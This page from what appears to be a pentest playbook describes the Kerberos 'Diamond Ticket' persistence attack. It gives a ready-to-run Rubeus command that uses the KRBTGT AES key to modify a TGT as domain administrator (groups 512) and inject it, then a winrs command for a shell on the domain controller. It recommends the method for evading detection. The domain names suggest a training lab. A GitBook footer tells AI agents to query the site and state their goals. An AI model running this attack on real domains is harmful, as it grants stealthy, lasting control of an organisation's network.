> For the complete documentation index, see [llms.txt](https://playbook.sidthoviti.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://playbook.sidthoviti.com/active-directory-pentest/persistence/diamond-ticket.md).

# Diamond Ticket

## Diamond Ticket

Diamond Ticket attack decrypts the TGT, modifying it and re-encrypting it using the AES keys of the KRBTGT account. Golden Ticket was TGT forging attack whereas diamond ticket is a TGT modification attack.

* A diamond ticket is more opsec safe as it has:
  * Valid ticket times because a `TGT` issued by the DC is modified
  * In golden ticket, there is no corresponding `TGT` request for TGS/Service ticket requests as the `TGT` is forged.
* A diamond ticket should be chosen over a golden ticket in a real assessment.

In the below command, we modify the TGT after decryption with the user account and group we want.&#x20;

{% code overflow="wrap" %}

```powershell
# Open cmd with elevated privs
# KRBKEY is same as KRBTGT account's RC4/AES key
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args %Pwn% /krbkey:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /tgtdeleg /enctype:aes /ticketuser:administrator /domain:dollarcorp.moneycorp.local /dc:dcorp-dc.dollarcorp.moneycorp.local /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

# This should spawn a new admin shell via which we can get any user's shell.

winrs -r:dcorp-dc cmd
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://playbook.sidthoviti.com/active-directory-pentest/persistence/diamond-ticket.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
